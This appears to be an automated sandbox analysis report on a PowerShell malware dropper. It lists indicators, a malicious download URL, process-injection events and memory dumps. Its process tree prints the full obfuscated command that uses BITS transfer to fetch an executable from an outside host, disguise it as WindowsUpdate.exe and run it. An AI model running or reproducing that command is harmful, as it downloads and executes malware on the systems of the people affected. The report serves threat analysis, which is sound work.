434d39bfbcee378ed62a02aa40acc6507aa00b2a3cb0bf356c0b23cc9eebcd77

Analysis

Score

10^/10

Language

ps1

Source

URLs

exe.dropper

http://buking.site/soft/08042021.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	664	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1612 wrote to memory of 268	1612	cmd.exe	28
PID 1612 wrote to memory of 268	1612	cmd.exe	28
PID 1612 wrote to memory of 268	1612	cmd.exe	28
PID 268 wrote to memory of 664	268	cmd.exe	29
PID 268 wrote to memory of 664	268	cmd.exe	29
PID 268 wrote to memory of 664	268	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\NewCovid-21\New Folder.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" && C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:664

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/664-58-0x000007FEF5DBE000-0x000007FEF5DBF000-memory.dmp

Filesize
4KB

Download
memory/664-59-0x0000000002380000-0x0000000002382000-memory.dmp

Filesize
8KB

Download
memory/664-60-0x0000000002382000-0x0000000002384000-memory.dmp

Filesize
8KB

Download
memory/664-61-0x0000000002384000-0x0000000002387000-memory.dmp

Filesize
12KB

Download
memory/664-57-0x000007FEF3690000-0x000007FEF41ED000-memory.dmp

Filesize
11.4MB

Download
memory/664-62-0x000000001B770000-0x000000001BA6F000-memory.dmp

Filesize
3.0MB

Download
memory/664-63-0x000000000238B000-0x00000000023AA000-memory.dmp

Filesize
124KB

Download
memory/1612-55-0x000007FEFC281000-0x000007FEFC283000-memory.dmp

Filesize
8KB

Download